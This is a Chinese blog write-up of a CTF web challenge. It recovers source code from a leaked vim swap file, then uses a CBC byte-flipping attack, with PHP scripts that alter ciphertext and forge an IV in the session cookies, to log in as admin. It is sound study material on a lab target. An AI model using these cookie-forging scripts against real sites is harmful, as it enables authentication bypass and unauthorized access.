ctf-web-CBC

题目:跳转提示

打开链接,发现是一个登录页面:

尝试输入用户名admin,密码123,发现显示:

于是修改用户名为admin1,密码123,显示:

 猜测可能需要绕过一开始对用户名admin的过滤,使用dirsearch扫描网址:

 发现一个swp文件,这是当使用vim或vi编辑文件出现错误时会产生的一个交换文件,可以用来恢复原文件,使用命令

vim -r index.php.swp

可以得到源代码内容:

 

 分析代码,发现改网站使用的是aes-128-cbc加密,结合题目猜测是利用CBC字节翻转攻击,使得输入的用户名不是admin,但对密文CBC解码后的用户名为admin

发现可以分为三步:

第一步:修改cipher

输入用户名:admim,密码:123456789,查看COOKIE得到对应cipher='%2BHKS%2BZEHVyQiVB83AZ%2FOj5sWmeXNiwOXapneD51cm%2BSSvwuAKjNADOKCZLmrCaz2%2BnAgpthIWr%2FijxluMdbZGd7Bwbfm%2FngwXPAW9v04qFs%3D'和iv='3kjDiNVRjmeYbKzNlqYD0A%3D%3D'

(这一步是为了得到ciphertext和iv,同时也是为了使得session['username']存在)

因为网站加密使用了aes-128-cbc加密,这是一种分组加密,因此将密文分为5组(5*128bit=5*16byte),同理,根据源代码可知,明文M=a:2:{s:8:"username";s:5:"admim";s:8:"password";s:9:"123456789";},可以分成四组(4*16byte):

array(4) { 
[1]=> string(16) "a:2:{s:8:"userna" 
[2]=> string(16) "me";s:5:"admim";" 
[3]=> string(16) "s:8:"password";s"
[4]=> string(16) ":9:"123456789";}" 
}

利用CBC字节翻转攻击CBC字节反转攻击原理_w0s1np的博客-CSDN博客_cbc字节翻转攻击可以通过修改第一组密文来篡改其通过其解密出的第二组明文,使得admim变为admin

<?php
$iv=base64_decode(urldecode('3kjDiNVRjmeYbKzNlqYD0A%3D%3D'));
$cipher=urldecode('%2BHKS%2BZEHVyQiVB83AZ%2FOj5sWmeXNiwOXapneD51cm%2BSSvwuAKjNADOKCZLmrCaz2%2BnAgpthIWr%2FijxluMdbZGd7Bwbfm%2FngwXPAW9v04qFs%3D');
$cip=base64_decode($cipher);
$c=array("username"=>"admim","password"=>"123456789");
$cc=serialize($c);
for($i=1;$i<=5;$i++){//原CBC密文分为5组(5*16)
	$j=$i-1;
	$cip_part[$i]=substr($cip,$j*16,16);
}
for($i=1;$i<=4;$i++){//明文分组(4*16)
	$j=$i-1;
	$M_part[$i]=substr($cc,$j*16,16);
}
$temp=$M_part[2]^$cip_part[1];//原第二组密文aes解密后的内容
$cip_new_part[1]=$cip_part[1];
$cip_new_part[1][13]=$temp[13]^"n";
//echo $cip_new_part[1]^$temp;//得到新的第一组密文,可以使得得到的明文中由admim转为admin
$newc=$cip_new_part[1].$cip_part[2].$cip_part[3].$cip_part[4].$cip_part[5];
$newc=urlencode(base64_encode($newc));
echo $newc;
?>

已知,只是这样变换,虽然可以达到第二组密文解码得到me";s:5:"admin";,但是因为改变了第一组密文的内容,会使其解码得到的第一组明文发生错误,若要得到想要的明文,就需要修改iv

第二步:修改iv

要如何修改iv,需要知道修改后的密文解码后的结果,通过源代码文件可以看出,在check_login()函数中,如果解码得到的明文无法反序列化,就会返回解码的base64加密内容

bp抓包,删除POST参数,修改COOKIE内容,使得iv不变,cipher变为第一步修改后的cipher

repeater后,得到结果:

 这段base64加密值就是想要得到的内容

 果然第一段明文发生了变化,通过将想要得到的第一组明文与修改后的第一组密文aes解密后的内容异或,就可以得到符合的iv

$x=base64_decode('DTrOn+3+6RAjCCAiZwMdEm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjk6IjEyMzQ1Njc4OSI7fQ==');//修改过第一组密文后得到的明文
//echo $x;//发现第一组明文乱码,但第二组用户名已经成功改变
$newM=substr($x,0,16);
$temp=$iv^$newM;//得到原第一组修改后的密文aes解密后的内容
$new_iv=$temp^$M_part[1];
$new_iv=urlencode(base64_encode($new_iv));
echo $new_iv;

得到结果

 第三步:repeater修改后的cipher和iv

bp抓包,删除POST参数,修改COOKIE内容,使得cipher变为修改后的cipher,iv变为修改后的iv,重发请求,得到结果:

 

 (太菜了,前后开了两次靶机)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

榴莲 蛋挞

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值